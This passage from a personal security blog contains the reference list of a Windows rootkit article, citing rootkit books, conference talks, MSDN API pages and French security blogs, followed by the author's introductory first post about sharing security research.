    References & Acknowledgements

    [1] Subverting the windows kernel – Greg Hoglund & James Butler.
    [2] Shadow Walker – Raising The Bar For Windows Rootkit Detection (Phrack).
    [3] Deactivate the Rootkit: Attacks on BIOS anti-theft – Black Hat 2009
    [4] What is an “Easter Egg”? – http://www.eeggs.com/faq.html#definition
    [5] The Malware Injection Lightweight Framework – http://milf.c0a8.org/milf_ndh2010.pdf
    [6] IRP Major Function Codes – http://msdn.microsoft.com/en-us/library/ff550710%28VS.85%29.aspx
    [7] Rings picture – http://en.wikipedia.org/wiki/File:Priv_rings.svg
    [8] DeviceIoControl Reference – http://msdn.microsoft.com/en-us/library/aa363216%28VS.85%29.aspx
    [9] Service Control Manager – http://msdn.microsoft.com/en-us/library/ms685150%28v=vs.85%29.aspx
    [10] OpenSCManger Reference – http://msdn.microsoft.com/en-us/library/ms684323%28v=vs.85%29.aspx
    [11] OpenService – http://msdn.microsoft.com/en-us/library/ms684330%28v=vs.85%29.aspx
    [12] StartService – http://msdn.microsoft.com/en-us/library/ms686321%28v=vs.85%29.aspx
    [13] Doubly-linked list – http://en.wikipedia.org/wiki/Doubly-linked_list
    [14] Process Explorer – http://technet.microsoft.com/en-us/sysinternals/bb896653
    [15] Ivanlef0u’s Blog (French) – http://www.ivanlef0u.tuxfamily.org/
    [16] 0vercl0ck’s Blog (French) – http://0vercl0k.blogspot.com/
    [17] Infond (French) – http://infond.blogspot.com/
    [18] Emilien Girault’s Blog – http://www.segmentationfault.fr/

    Just For Fun

    [jff_1] Hackers – The film with Angelina Jolie!

    Category: Rootkit | Tagged , , , , , | 6 Comments

    And It Begins, begins Ooh ooh ooh!

    Actually, this my first blog dedicated to security. People that know me and maybe you, have heard of some of my projects like : Slashon, Invihertz, and so on. I’ve done also few conferences about Software-Defined Radio and security articles in some french magazines.

    Interested in IT Security, my philosophy creating this blog is about “sharing”. Here you will find, I hope, interesting articles, researches I’ve done, demonstrations of Proof of Concepts, and so on.

    Do not hesitate to let me know of any error, problem or amelioration you would like to report. I’m very open for constructive comments.

    Thank you! 😉

    p.s. : The title was a little bit inspired by this song.

    Category: General | Leave a comment